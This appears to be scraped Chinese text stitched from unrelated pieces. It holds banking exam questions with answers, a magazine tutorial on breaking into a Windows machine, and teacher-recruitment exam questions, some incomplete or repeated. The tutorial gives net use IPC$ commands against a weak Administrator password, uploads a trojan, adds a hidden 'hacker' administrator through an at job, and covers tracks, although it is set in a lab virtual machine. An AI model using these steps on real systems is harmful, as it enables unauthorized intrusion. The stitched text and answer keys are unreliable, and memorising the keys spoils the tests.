@#@@#@　　38、个人获得住房贷款属于（）。

@#@@#@　　A、商业信用@#@　　B、消费信用@#@　　C、国家信用@#@　　D、补偿贸易@#@　　【答案】B@#@　　【解析】消费信用就是由企业、银行或其他消费信用机构向消费者个人提供的信用。

@#@消费信用根据提供商的不同可以分为企业提供的消费信用和银行提供的消费信用等种类。

@#@其中由企业提供的消费信用主要有赊销和分期付款两种形式。

@#@赊销主要是对那些没有现款或现款不足的消费者采取的一种信用出售的方式；@#@而分期付款则更多地是运用于某些价值较高的耐用消费品的购买行为中。

@#@@#@　　39、代表金属实物货币流通并可随时兑换成金属实物货币的货币形态是（）。

@#@@#@　　A、信用货币@#@　　B、纸币@#@　　C、代用货币@#@　　D、第三代货币@#@　　【答案】C@#@　　【解析】代用货币是指代表金属实物货币流通并可随时兑换成金属实物货币的货币形态。

@#@故选C。

@#@@#@　　40、现阶段我国政策性农村金融机构是（）。

@#@@#@　　A、农村信用合作社@#@　　B、中国农业发展银行@#@　　C、中国农业银行@#@　　D、农村合作银行@#@　　【答案】B@#@　　【解析】我国有三大政策性银行，其中中国农业发展银行是我国政策性农村金融机构。

@#@@#@　　41、实行直接标价法的国家，如果汇率下降，表明本国货币对外国货币（）。

@#@@#@　　A、贬值@#@　　B、浮动@#@　　C、不变@#@　　D、升值@#@　　【答案】D@#@　　【解析】直接标价法是指用以1单位外币折合多少本币来表示汇率。

@#@汇率下降，单位外币折合成本币数下降，外币贬值，本币升值。

@#@故选D。

@#@@#@　　42、金融债券是指依法在我国境内设立的金融机构法人在境内外债券市场发行的、按约定还本付息的有价证券。

@#@目前我国（）金融债券占有较大的比重。

@#@@#@　　43、根据我国的货币供应量层次划分，假定广义货币供应量M2余额为@#@　　107.7万亿元，狭义货币供应量M1余额为@#@　　31.5万亿元，流通中货币M0余额为@#@　　5.6万亿元，则单位活期存款为（）万亿元。

@#@@#@　　A、25.9@#@　　B、70.6@#@　　C、75.6@#@　　D、102.1@#@　　【答案】A@#@　　【解析】M1=流通中的现金+单位活期存款。

@#@因此，单位活期存款=@#@　　31.5-@#@　　5.6=@#@　　25.9。

@#@@#@　　44、“对难以准确判断借款人还款能力的贷款，应适度下调其分类等级”指的是贷款分类中的（）原则。

@#@@#@　　A、真实性@#@　　B、及时性@#@　　C、重要性@#@　　D、审慎性@#@　　【答案】D@#@　　【解析】贷款分类应遵循以下原则：

@#@①真实性原则，分类应真实客观地反映贷款的风险状况；@#@②及时性原则，应及时、动态地根据借款人经营管理等状况的变化调整分类结果；@#@③重要性原则，对影响贷款分类的诸多因素，要根据五分类的核心定义确定关键因素进行评估和分类；@#@④审慎性原则，对难以准确判断借款人还款能力的贷款，应适度下调其分类等级。

@#@@#@　　45、某商业银行签订买入500万美元的即期合约，同时又签订一年后卖出500万美元的远期合约，该银行使用的是（）交易方式。

@#@@#@　　A、货币互换@#@　　B、期限互换@#@　　C、利率互换@#@　　D、期权互换@#@　　【答案】B@#@　　【解析】期限互换是把方向相反的远期和即期交易结合起来进行的外汇买卖，若即期卖出一定数额的某种货币，那么同时签订一个买进同样数额的同种货币的远期合同，反之亦然。

@#@故选B。

@#@@#@　　46、商品的价值是由（）决定的。

@#@@#@　　A、交换价值@#@　　B、生产商品的社会必要劳动时间@#@　　C、具体劳动时间@#@　　D、个别生产者生产某种商品耗费的个别劳动时间@#@　　【答案】B@#@　　【解析】价值规律是商品经济的基本规律。

@#@商品的价值量由社会必要劳动时间决定，商品实行等价交换。

@#@@#@　　47、金融市场按期限长短分为（）。

@#@@#@　　A、股票市场与债券市场@#@　　B、货币市场与资本市场@#@　　C、一级市场与二级市场@#@　　D、现货市场与期货市场@#@　　【答案】B@#@　　【解析】金融市场按照期限划分，可分为货币市场与资本市场。

@#@@#@　　48、上市商业银行的最高权力机构是（）。

@#@@#@　　A、股东大会@#@　　B、监事会@#@　　C、董事会@#@　　D、行长办公会@#@　　【答案】A@#@　　【解析】股东大会是由全部股东组成，对公司的重大事项作出决定的公司权力机关。

@#@@#@　　49、同业拆借市场的利率可以反映（）。

@#@@#@　　A、银行利率@#@　　B、短期资金供求状况@#@　　C、货币政策的松紧@#@　　D、金融宏观调控力度@#@　　【答案】B@#@　　【解析】拆借利率是根据拆借市场的资金供求关系来决定的，它能比较灵活地反映资金供求的变化情况，是短期金融市场中最具有代表性的利率。

@#@@#@　　50、经济法的基本原则不包括（）。

@#@@#@　　A、平等自愿原则@#@　　B、维护公平竞争原则@#@　　C、平衡协调原则@#@　　D、责权利相统一原则@#@　　【答案】A@#@　　【解析】经济法的基本原则包括平衡协调原则、维护公平竞争原则和责权利相统一原则。

@#@故选A。

@#@@#@";i:

7;s:

7340:

"4520100745000707栏目编辑：

@#@张薇网管与维护入侵前的“热身”踩点情况介绍：

@#@某个局域网（网吧、学校、公司等均可），这种环境下仍有相当一部分的计算机是超级用户Administrator与空口令的“黄金搭档”（或是一些像“123456”之类的弱口令），其罪魁祸首有可能是不负责任的网管为图省事，用一个Ghost镜像文件还原的，也有可能是用户自己的防范意识不到位。

@#@笔者是在自己的机子上用VMWare6.0.2搭建了一台WindowsServer2003StandardEdition虚拟机来作为入侵攻击的目标主机，其IP为10.10.10.2，超级用户Administrator使用弱口令“123456”；@#@自己的主机安装的是WindowsXPProfessional，IP为10.10.10.1，为攻方。

@#@开始入侵的过程：

@#@1从WindowsXP环境下进入CMD窗口先单击“开始”“运行”，然后在“打开”中输入“CMD”（大小写均可，不包括两侧引号）后单击“确定”按钮（如图1），这样系统就会调用System32目录中的CMD.exe命令进入命令行窗口。

@#@2建立IPC$连接IPC$是“InternetProcessConnection”的简写，意思是“共享命名管道”，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。

@#@输入“netuse10.10.10.2ipc$“123456”/user:

@#@”administrator”后回车，CMD会提示“命令成功完成”（如图2）。

@#@其中的“10.10.10.2”为目标主机的IP，“123456”是密码，“/user:

@#@”administrator”是登录用户，这样我们就与目标建立好了连接通道。

@#@3进行磁盘分区映射在CMD中输入“netusex:

@#@10.10.10.2c$”后回车（如图3），意思是将自己机子上未使用的X盘与目标的C盘进行映射。

@#@注意IP后的C带了“$”，是默认共享，它是Windows2000之后的系统所默认开启的硬盘分区共享。

@#@建立了这种映射之后，在自己机子上的X盘就相当于目标的C盘了，此时可以打开“我的电脑”看一下，是不是多了一个X盘（如图4）？

@#@点击看看其中的内容，都是WindowsServer2003的，其实这时我们就可以进行文件的复制和删除，就像是我们本地硬盘分区一样，不过我们仍可以使用命令来完成相同的操作。

@#@输入“X：

@#@”后回车进入X盘，用“dir/w”列目录命令看一下（如图5），是不是与“我的电脑”中所列内容文/图牟晓东随着各种傻瓜式入侵攻击软件在互联网上泛滥，如今的入侵攻击开始变得越来越简单了：

@#@不需要懂得什么高深的知识原理，也不用四处拜师学艺，只须照着动画教程在工具中用鼠标点点按钮进行一些简单的设置，谈笑间就会使目标网站轰然倒下！

@#@其实很多的傻瓜式操作入侵工具在其图形化便利操作界面的背后，真正起关键作用的都是Windows操作系统自身所提供的正常命令和服务。

@#@在很多情况下，我们其实并不需要任何第三方的入侵工具，单单是在Windows的CMD“黑”命令窗口下就能赤手空拳地进行入侵。

@#@图1图246ComputerKnowledgeandTechnology栏目编辑：

@#@张薇网管与维护一样？

@#@4“上传”复制文件如果你想把自己的木马服务端上传的话，只须一个COPY复制命令就能轻易完成。

@#@假设你的木马服务端程序Horse.exe在自己的D盘的话，此时可以直接在X：

@#@盘符下输入“copyd:

@#@horse.exe”回车，这样你的木马就会上传到目标的C盘下了，再接着用“dir/w”列目录看一下（如图6）。

@#@5“下载”目标的文件下载与刚才的上传正好相反，但使用的命令却是同一个COPY。

@#@输入“copyconfig.sysd:

@#@”后回车，就会把目标上的CONFIG.SYS这个文件复制到了本地D盘中（如图7）。

@#@6添加新超级用户hacker以前曾流传有两条添加用户并提升为超级用户的命令，那就是“netuserhacker654321/add”和“netlocalgroupadministratorshacker/add”。

@#@前者是建立一个名为hacker的普通账号，密码是“654321”；@#@后者是将hacker账号加入到超级用户组中（注意其中的administrators，而不是administrator！

@#@）。

@#@如果你在本地的CMD窗口中依次运行这两条命令的话，虽然能够成功运行，但结果却是在你自己的机子上建立了hacker超级用户。

@#@怎样才能在目标主机上运行呢？

@#@首先是新建一个文本文件将这两条命令依次输入，后面都有回车；@#@然后点击“文件”“另存为”，将“保存类型”由默认的“文本文档”选择为“所有文件”，在“文件名”处输入“AddUser.bat”（如图8），这样就建立好了一个批处理文件，把它保存到D盘图3图4图5图6图7图84720100747000707栏目编辑：

@#@张薇网管与维护中。

@#@在CMD窗口中输入“copyAddUser.bat10.10.10.2admin$system32”并回车，也就是将这个批处理文件复制到目标的系统盘System32文件夹中（这可是系统的核心文件夹）。

@#@接着输入“nettime10.10.10.2”并回车，CMD马上会回显出目标系统的运行时间等信息：

@#@“10.10.10.2的当前时间是2008/3/1上午09：

@#@23”。

@#@最后输入“at10.10.10.209:

@#@25AddUser.bat”并回车，CMD会提示“新加了一项作业，其作业IDX”，意思是目标主机将在9：

@#@25运行刚刚上传的AddUser.bat批处理文件。

@#@（如图9）时间到了之后，在虚拟机上右击“我的电脑”选择“管理”，在弹出的“计算机管理”窗口中找到“本地用户和组”下的“用户”项，打开后看一看，是不是多了一个名为hacker的账号？

@#@双击后看看它的属性：

@#@隶属于administrators超级用户组（如图10）。

@#@7删除硬盘分区映射当文件的上传与下载均完成之后，应该把建立的分区映射及时删除掉，输入“netusex:

@#@/del”后回车即可，此时如果再使用“dirx:

@#@”命令来查看X盘内容的话，CMD会提示“系统找不到指定的路径”（如图11）。

@#@8关闭IPC$连接与删除硬盘分区映射一样，IPC$连接在入侵完毕之后也要及时关闭，因为如果对方对本地机与外界主机的通信进行监视的话，很容易发现这样一条数据传输通道。

@#@输入“netuse10.10.10.2IPC$/del”后回车，我们会得到“10.10.10.2ipc$已经删除”的信息（如图12），撤！

@#@小结：

@#@其实，在CMD命令行窗口下可以运行的命令是远远不止于此的，其它的比较有名的还有开启对方服务的netstart命令、发送消息的netsend命令、删除日志的del命令以及大名鼎鼎的Ping命令（早在Windows98年代就有著名的“死亡之Ping”，可瞬间使对方机器处于瘫痪状态）。

@#@窗口虽然简陋，命令行虽然短小，但最终导致的后果却是一点儿也不容小觑的。

@#@最关键的是，这种入侵不依赖于任何工具，只要掌握了对方的账户和密码，你就可以行云流水般在键盘上轻松完成入侵“高手哇！

@#@”-图9图10图11图12";i:

8;s:

21761:

"@#@　　江西省赣州市定南县教师招聘考试《通用能力测试（教育类）》真题及答案@#@　　注意事项@#@　　1、请用钢笔、圆珠笔或签字在答题卡相应位置填写姓名、准考证号，并用2B铅笔在答题卡指定位置填涂准考证号。

@#@@#@　　2、本试卷均为选择题，请用2B铅笔在答题卡上作答，在题本上作答一律无效。

@#@@#@　　一、单项选择题（在下列每题四个选项中只有一个是最符合题意的，将其选出并把它的标号写在题后的括号内。

@#@错选、多选或未选均不得分。

@#@）@#@　　1、心理健康的人能够有效地发挥个人的身心潜力以及作为社会一员的（）。

@#@@#@　　A、积极的社会功能@#@　　B、应有的责任能力@#@　　C、应有的责任义务感@#@　　D、道德精神面貌@#@　　【答案】A@#@　　2、从课程范式来看，研究性课程属于以（）为代表的课程范式。

@#@@#@　　A、活动课程@#@　　B、学科课程@#@　　C、显性课程@#@　　D、隐性课程@#@　　【答案】A@#@　　3、福禄贝尔创立的幼儿学校1840年更名为幼儿园，该幼儿园始创于（）。

@#@@#@　　A、1827年@#@　　B、1803年@#@　　C、1837年@#@　　D、1823年@#@　　【答案】C@#@　　4、对称是（）幼儿绘画的一个重要特征。

@#@@#@　　A、概念画期（又称图式期）@#@　　B、象征期@#@　　C、涂鸦期@#@　　D、写实期@#@　　【答案】A@#@　　5、（）的儿童常常对学习成绩、陌生环境反应敏感，担心害怕，显得很不安分。

@#@@#@　　A、诵读困难@#@　　B、过度焦虑@#@　　C、强迫观念@#@　　D、交往困难@#@　　【答案】B@#@　　6、学习的主体因素是（），任何教学都必须通过它起作用。

@#@@#@　　A、教师@#@　　B、教学环境@#@　　C、学生@#@　　D、学校领导@#@　　【答案】C@#@　　7、按照学习迁移内容的不同抽象与概括化水平进行的划分，可以分为（）@#@　　A、水平迁移与垂直迁移@#@　　B、正迁移与横向迁移@#@　　C、普通迁移与特殊迁移@#@　　D、顺向迁移与逆向迁移@#@　　【答案】A@#@　　8、由物质的、外显的、展开的形式转变成观念的、内潜的、简缩的形式的过程是在（）的阶段。

@#@@#@　　A、原型定向@#@　　B、原型动作@#@　　C、原型内化@#@　　D、动作定向@#@　　【答案】C@#@　　9、“万般皆下品，唯有读书高”反应了封建社会的教育具有（）的特点。

@#@@#@　　A、崇尚书本，呆读死记@#@　　B、学校教育脱离生产劳动@#@　　C、等级性@#@　　D、阶级性@#@　　【答案】D@#@　　10、为了打击社会的不良行为，国家常用“杀一儆百”的做法，其理论依据是（）。

@#@@#@　　A、操作性条件反射理论@#@　　B、经典条件反射理论@#@　　C、社会学习理论@#@　　D、期待惩罚理论@#@　　【答案】C@#@　　11、（）是教师备课和上课的主要依据。

@#@@#@　　A、教学大纲@#@　　B、教科书@#@　　C、参考书@#@　　D、教学进度计划@#@　　【答案】B@#@　　12、提出“人力资本”理论的学者是（）。

@#@@#@　　A、布鲁纳@#@　　B、赞可夫@#@　　C、舒尔茨@#@　　D、皮亚杰@#@　　【答案】C@#@　　13、19世纪对班级组织的发展产生巨大的推动作用的“导生制”出现在（）。

@#@@#@　　A、德国@#@　　B、英国@#@　　C、美国@#@　　D、法国@#@　　【答案】B@#@　　14、班级里学习成绩差生和后进生有问题行为，优秀学生（）。

@#@@#@　　A、也全都有问题行为@#@　　B、没有问题行为@#@　　C、只有问题行为萌芽@#@　　D、也有问题行为@#@　　【答案】D@#@　　15、人们对社会思想道德和人们行为的爱憎、好恶等情绪态度属于（）。

@#@@#@　　A、道德认识@#@　　B、道德情感@#@　　C、道德意志@#@　　D、道德行为@#@　　【答案】B@#@　　16、班级授课制在我国正式实行一般认为是在（）。

@#@@#@　　A、唐朝中期@#@　　B、明朝中期@#@　　C、清朝末年@#@　　D、辛亥革命以后@#@　　【答案】C@#@　　17、关于我国学前班的说法，错误的是（）。

@#@@#@　　A、是我国农村发展学前教育的一种重要形式@#@　　B、学前班的教育目标与要求应与小学相同@#@　　C、学前班的教育应以游戏活动为主@#@　　D、是以学龄前1-2年的儿童为教育对象的教育组织形式@#@　　【答案】B@#@　　18、美国的提前开端计划的对象主要是（）。

@#@@#@　　A、超常儿童@#@　　B、低能儿童@#@　　C、正常儿童@#@　　D、家庭环境优越儿童@#@　　【答案】B@#@　　19、美国的提前开端计划的对象主要是（）。

@#@@#@　　A、超常儿童@#@　　B、低能儿童@#@　　C、正常儿童@#@　　D、家庭环境优越儿童@#@　　【答案】B@#@　　20、婴儿注意人脸主要是注视脸的（）。

@#@@#@　　A、中央@#@　　B、边缘@#@　　C、上部@#@　　D、下部@#@　　【答案】B@#@　　21、学校这一社会组织的细胞是（）。

@#@@#@　　A、学生@#@　　B、教师@#@　　C、班级@#@　　D、校长@#@　　【答案】C@#@　　22、关于幼儿言语的发展，正确的表述是（）。

@#@@#@　　A、理解语言发生发展在先，语言表达发生发展在后@#@　　B、理解语言和语言表达同时同步产生@#@　　C、语言表达发生发展在先，理解语言发生发展在后@#@　　D、理解语言是在语言表达的基础上产生和发展起来的@#@　　【答案】A@#@　　23、教师对学生思想的认可与学生成绩有（）趋势。

@#@@#@　　A、负相关@#@　　B、正相关@#@　　C、没有关系@#@　　D、若有若无@#@　　【答案】B@#@　　24、教学目标侧重于过程或探索知识经验，则宜选择（）。

@#@@#@　　A、发现学习@#@　　B、接受学习@#@　　C、合作学习@#@　　D、掌握学习@#@　　【答案】A@#@　　25、英国教育家洛克的“白板说”属（）。

@#@@#@　　A、父母决定论@#@　　B、教师决定论@#@　　C、环境决定论@#@　　D、遗传决定论@#@　　【答案】C@#@　　26、5～6岁幼儿能参加较复杂的集体游戏和活动，说明幼儿注意的（）。

@#@@#@　　A、稳定性较好@#@　　B、分配能力较强@#@　　C、范围较大@#@　　D、选择性较强@#@　　【答案】B@#@　　27、提高教学质量的关键是（）。

@#@@#@　　A、备好课@#@　　B、上好课@#@　　C、作业的检查与批改@#@　　D、课外辅导@#@　　【答案】B@#@　　28、建立良好的班集体有利于（）。

@#@@#@　　A、发现人的价值@#@　　B、发掘人的潜能@#@　　C、发挥人的力量@#@　　D、发展人的个性@#@　　【答案】D@#@　　29、在幼儿园教育目标体系中，指在一节课或一次活动中需要达到的目标是（）。

@#@@#@　　A、幼儿园教育目标@#@　　B、近期目标@#@　　C、中期目标@#@　　D、活动目标@#@　　【答案】D@#@　　30、设计教学法的提出者是（）。

@#@@#@　　A、杜威@#@　　B、华虚朋@#@　　C、柏克赫斯特@#@　　D、克伯屈@#@　　【答案】D@#@　　31、教师的语言修炼可以从以下几方面入手：

@#@提高教师自身的思想修养、培养良好的心理素质和（）。

@#@@#@　　A、加强知识修养@#@　　B、加强信息能力@#@　　C、较强角色调适能力@#@　　D、加强交往能力@#@　　【答案】A@#@　　32、决定教育领导权的是（）。

@#@@#@　　A、政治经济制度@#@　　B、生产力水平@#@　　C、科学技术@#@　　D、文化传统@#@　　【答案】A@#@　　33、提出普及初等教育的要求在（）。

@#@@#@　　A、第一次工业革命后@#@　　B、第二次工业革命后@#@　　C、第三次工业革命后@#@　　D、信息革命后@#@　　【答案】A@#@　　34、教师通过协调课堂内的各种人际关系而有效地实现预定教学目标的过程称为（）。

@#@@#@　　A、课堂管理@#@　　B、课堂纪律@#@　　C、课堂规范@#@　　D、课堂控制@#@　　【答案】A@#@　　35、90年代以来，学前教育的根本目标是（）。

@#@@#@　　A、智力开发@#@　　B、培养创造力@#@　　C、知识传授@#@　　D、全面和谐发展@#@　　【答案】D@#@　　36、教师胜任教学工作的基础性要求是，必须具有（）。

@#@@#@　　A、学科专业素养@#@　　B、职业道德素养@#@　　C、政治思想素养@#@　　D、人格特质@#@　　【答案】A37、一个人对行为控制与调节方面的特征是属于性格的（）。

@#@@#@　　A、态度特征@#@　　B、意志特征@#@　　C、情绪特征@#@　　D、理智特征@#@　　【答案】B@#@　　38、教师与幼儿沟通时，不正确的做法是（）。

@#@@#@　　A、注意倾听@#@　　B、注意蹲下去与孩子平等对话@#@　　C、言语专业化@#@　　D、言语儿童化@#@　　【答案】C@#@　　39、教育学萌芽的标志是（）的提出。

@#@@#@　　A、教育价值@#@　　B、教育规律@#@　　C、教育问题@#@　　D、教育现象@#@　　40、智力游戏属于（）。

@#@@#@　　A、创造性游戏@#@　　B、有规则游戏@#@　　C、体育游戏@#@　　D、结构游戏@#@　　【答案】B@#@　　41、班主任工作的根本任务是（）。

@#@@#@　　A、做好管理工作@#@　　B、对学生进行品德教育@#@　　C、提高学生成绩@#@　　D、促进学生全面发展@#@　　【答案】D@#@　　42、儿童每天都在自发地进行游戏。

@#@说明了儿童游戏是（）。

@#@@#@　　A、自发的、自愿的@#@　　B、自由自在的@#@　　C、愉快的@#@　　D、充满想象和创造的@#@　　【答案】A@#@　　43、“怎样培养学生的创新意识”这样的问题属于（）的问题。

@#@@#@　　A、有结构@#@　　B、无结构@#@　　C、一般性@#@　　D、认知性@#@　　【答案】B@#@　　44、课的类型的划分依据（）。

@#@@#@　　A、教学任务@#@　　B、教学内容@#@　　C、教学规律@#@　　D、教学原则@#@　　【答案】A@#@　　45、通过摆事实、讲道理，使学生提高认识，形成正确的观点的方法是（）。

@#@@#@　　A、榜样法@#@　　B、说服法@#@　　C、陶冶法@#@　　D、锻炼法@#@　　【答案】B@#@　　46、现代教育理论认为，托儿所、幼儿园和家庭的关系属于（）。

@#@@#@　　A、帮助与被帮助的关系@#@　　B、管理与被管理的关系@#@　　C、伙伴关系@#@　　D、教与被教的关系@#@　　【答案】C@#@　　47、教育心里学受弗洛伊德理论的影响，扩展了研究领域，同时程序教学兴起的时期大致在（）。

@#@@#@　　A、19世纪末20实际初@#@　　B、20世纪20年代~50年代末@#@　　C、20世纪60年代~70年代末@#@　　D、20世纪80年代以后@#@　　【答案】B@#@　　48、认为我国现代教育的目的是“做人，做中国人，做现代中国人”的教育学家是（）。

@#@@#@　　A、陈鹤琴@#@　　B、梁启超@#@　　C、蔡元培@#@　　D、陶行知@#@　　【答案】A@#@　　49、十四周岁以上不满十六周岁的未成年人犯罪的案件（）不公开审理。

@#@@#@　　A、可以@#@　　B、一般@#@　　C、一律@#@　　D、应当@#@　　【答案】C@#@　　50、幼儿语音发展阶段，元音和辅音的发展顺序是（）。

@#@@#@　　A、同时出现@#@　　B、元音在先，辅音在后@#@　　C、辅音在先，元音在后@#@　　D、以上情况都有可能@#@　　【答案】A@#@　　51、学生在学习了语文拼音以后，会干扰其对英语音标的学习，这属于（）。

@#@@#@　　A垂直迁移@#@　　B、水平迁移@#@　　C、正迁移@#@　　D、负迁移@#@　　【答案】D@#@　　52、移情法第一阶段运用的基本训练技术是（）。

@#@@#@　　A、情绪追忆和情境表演@#@　　B、认知提示和情绪追忆@#@　　C、情感换位和情绪追忆@#@　　D、认知提示和情感换位@#@　　【答案】B@#@　　53、教师与幼儿沟通时，不正确的做法是（）。

@#@@#@　　A、注意倾听@#@　　B、注意蹲下去与孩子平等对话@#@　　C、言语专业化@#@　　D、言语儿童化@#@　　【答案】C@#@　　54、赞科夫在《教学与发展》一书中提出五条新的教学原则，不在此列的一条是（）。

@#@@#@　　A、高难度原则@#@　　B、高速度原则@#@　　C、理论知识起主导作用的原则@#@　　D、循序渐进原则@#@　　【答案】D@#@　　55、通过摆事实、讲道理，使幼儿明辨是非的教育方法是（）。

@#@@#@　　A、情感陶冶法@#@　　B、说理教育法@#@　　C、品德评价法@#@　　D、实际锻炼法@#@　　【答案】B@#@　　56、情感领域的教学目标根据价值内化的程度分为（）。

@#@@#@　　A、二个等级@#@　　B、五个等级@#@　　C、三个等级@#@　　D、四个等级@#@　　【答案】B@#@　　57、首次详细论证了班级授课制的教育著作是（）。

@#@@#@　　A、《雄辩术原理》@#@　　B、《普通教育学》@#@　　C、《大教学论》@#@　　D、《教育学》@#@　　【答案】C@#@　　58、下面属于教学准备能力（）。

@#@@#@　　A、教师的语言准备@#@　　B、教师的课堂评价@#@　　C、教学计划、教学总结、教具的准备@#@　　D、教师科研能力@#@　　【答案】C@#@　　59、备课时，教师要按顺序写出（）三种教学计划。

@#@@#@　　A、课时计划、单元计划、学期计划@#@　　B、学期计划、单元计划、课时计划@#@　　C、单元计划、课时计划、学期计划@#@　　D、学期计划、课时计划、单元计划@#@　　【答案】B@#@　　60、心理学作为一门独立的科学诞生于（）。

@#@@#@　　A、1879年@#@　　B、1897年@#@　　C、1789年@#@　　D、1798年@#@　　【答案】A@#@　　61、下列说法不正确的是（）。

@#@@#@　　A、教师的平均工资水平应当不低于或者高于国家公务员的平均工资水平，并逐步提高。

@#@@#@　　B、取得幼儿园教师资格，应当具备幼儿师范学校毕业及其以上学历；@#@@#@　　C、保育员具备小学毕业以上的学历，受过幼儿保育职业培训；@#@@#@　　D、取得小学教师资格，应当具备中等师范学校毕业及其以上学历。

@#@@#@　　【答案】C@#@　　62、如果一个家长想用看电视作为强化物奖励儿童按时完成作业的行为，最适合的安排应该是（）。

@#@@#@　　A、让儿童看完电视以后立即督促其完成作业@#@　　B、规定每周看电视的适当时间@#@　　C、惩罚孩子喜欢看电视的行为@#@　　D、只有按时完成作业后才能看电视@#@　　【答案】D@#@　　63、提出“最近发展区”的观点的是（）。

@#@@#@　　A、布鲁纳@#@　　B、班杜拉@#@　　C、桑代克@#@　　D、维果斯基@#@　　【答案】D@#@　　64、学生在学习了语文拼音以后，会干扰其对英语音标的学习，这属于（）。

@#@@#@　　A垂直迁移@#@　　B、水平迁移@#@　　C、正迁移@#@　　D、负迁移@#@　　【答案】D@#@　　65、在语言活动中，某小朋友认真地、完整地听完了老师讲的故事。

@#@这说明该小朋友具有（）。

@#@@#@　　A、注意的选择性@#@　　B、注意的范围@#@　　C、注意的稳定性@#@　　D、注意的分配@#@　　【答案】C@#@　　66、对民办学校重大问题拥有决策权的是（）。

@#@@#@　　A、校长@#@　　B、教职工代表大会@#@　　C、学校工会@#@　　D、学校董事会@#@　　【答案】D@#@　　67、被称为“我国幼儿教育之父”的教育家是（）。

@#@@#@　　A、陶行知@#@　　B、张雪门@#@　　C、陈鹤琴@#@　　D、蔡元培@#@　　【答案】C@#@　　68、下列说法中不属于访问前准备工作内容的是（）。

@#@@#@　　A、一切可用的记录工具，如：

@#@录音机、照相机、纸笔等@#@　　B、知识和心理方面的准备@#@　　C、交通工具@#@　　D、被访问者的合作@#@　　【答案】C@#@　　69、“三军可夺帅，匹夫不可夺志”说的是（）。

@#@@#@　　A、道德认识@#@　　B、道德情感@#@　　C、道德意志@#@　　D、道德行为@#@　　【答案】C@#@　　70、下列哪种活动体现了幼儿的再造想象（）。

@#@@#@　　A、有些孩子经常会生造一些词语@#@　　B、在绘画时，有的幼儿把太阳画成绿色@#@　　C、有的幼儿在看图说话时，能说出许多图上没有但与主题相关的内容@#@　　D、幼儿把音阶想象成“走楼梯”，从而来理解音阶@#@　　【答案】C@#@　　71、幼儿的听觉偏好趋向（）。

@#@@#@　　A、就人声和物声而言，新生儿趋向物声@#@　　B、就母亲声音和陌生人声音而言，新生儿趋向新鲜的陌生人声音@#@　　C、就声音音调来讲，新生儿趋向低音调@#@　　D、新生儿爱听柔和的声音@#@　　【答案】D@#@　　72、程序教学的提出者是（）。

@#@@#@　　A、华生@#@　　B、斯金纳@#@　　C、加涅@#@　　D、布鲁纳@#@　　【答案】B@#@　　73、儿童记忆策略的发展过程中，转变期一般存在于（）。

@#@@#@　　A、2～3岁@#@　　B、4～5岁@#@　　C、5～7岁@#@　　D、7～8岁@#@　　【答案】C@#@　　74、幼儿园教育目标的层次为（）。

@#@@#@　　A、幼儿园教育目标、中期目标、近期目标、活动目标@#@　　B、长期目标、中期目标、近期目标、活动目标@#@　　C、幼儿园教育目标、活动目标、近期目标、中期目标@#@　　D、幼儿园教育目标、活动目标、中期目标、近期目标@#@　　【答案】A@#@　　75、教育目的是教育的根本性问题，对一切教育工作具有（）。

@#@@#@　　A、控制作用@#@　　B、制约作用@#@　　C、促进作用@#@　　D、指导意义@#@　　【答案】D@#@　　76、到工厂进行参观访问属于（）。

@#@@#@　　A、模像直观@#@　　B、形象直观@#@　　C、感知直观@#@　　D、实物直观@#@　　【答案】D@#@　　77、根据调查结果显示，家长把幼儿送入学前班的最主要的目的是（）。

@#@@#@　　A、为了孩子的全面发展@#@　　B、为了孩子能学到知识@#@　　C、为了孩子能更守规矩@#@　　D、为了孩子能更好地上一年级@#@　　【答案】C@#@　　78、教学从本质上讲是一种（）。

@#@@#@　　A、认识活动@#@　　B、智育活动@#@　　C、促进学生全面发展的活动@#@　　D、教师教和学生学的活动@#@　　【答案】A@#@　　79、操作性条件反射学说的代表人物是（）。

@#@@#@　　A、斯金纳@#@　　B、巴甫洛夫@#@　　C、桑代克@#@　　D、班杜拉@#@　　【答案】A@#@　　80、世界上最早的教育理论著作是（）。

@#@@#@　　A、《论语》@#@　　B、《理想国》@#@　　C、《学记》@#@　　D、《大教学论》@#@　　【答案】C@#@　　81、主张“一切知识都从感官的知觉开始”的教育家是（）。

@#@@#@　　A、赫尔巴特@#@　　B、杜威@#@　　C、凯洛夫@#@　　D、夸美纽斯@#@　　【答案】D@#@　　82、由于对学习活动的社会意义或个人前途等原因引发的学习动机称作（）。

@#@@#@　　A、远景的间接性动机@#@　　B、社会性动机@#@　　C、直接性动机@#@　　D、志向性动机@#@　　【答案】A@#@　　83、在西方传统的课程理论中，通常把课程目标分为：

@#@事实、技能和（）。

@#@@#@　　A、知识@#@　　B、能力@#@　　C、态度@#@　　D、素质@#@　　【答案】C@#@　　84、如果发生未成年人合法权益受到侵犯，（）有权予以劝阻、制止或向有关部门提出检举或控告。

@#@@#@　　A、父母@#@　　B、国家机关@#@　　C、其他监护人@#@　　D、任何组织或个人@#@　　【答案】D@#@　　85、学生根据哺乳动物的关键特征，来判断某些动物是不是哺乳动物的过程是（）。

@#@@#@　　A、抽象化@#@　　B、概括化@#@　　C、归纳化@#@　　D、分化@#@　　【答案】B@#@　　86、幼儿园以（）为基本活动。

@#@@#@　　A、学习@#@　　B、游戏@#@　　C、阅读@#@　　D、体育@#@　　【答案】B@#@　　87、一种学习中习得的一般原理、方法、策略和态度等迁移到另一种学习中去是（）。

@#@@#@　　A、一般迁移@#@　　B、具体迁移@#@　　C、垂直迁移@#@　　D、水平迁移@#@　　【答案】A@#@　　88、在语言活动中，某小朋友认真地、完整地听完了老师讲的故事。

@#@这说明该小朋友具有（）。

@#@@#@　　A、注意的选择性@#@　　B、注意的范围@#@　　C、注意的稳定性@#@　　D、注意的分配@#@　　【答案】C@#@　　89、被称为“现代教育测验之父”的是（）。

@#@@#@　　A、赖斯@#@　　B、泰勒@#@　　C、桑代克@#@　　D、杜威@#@　　【答案】C@#@　　90、第一个提出应以伦理学和心理学作为教育学的理论基础的是（）。

@#@@#@　　A、赫尔巴特@#@　　B、杜威@#@　　C、夸美纽斯@#@　　D、康德@#@　　【答案】A@#@";i:

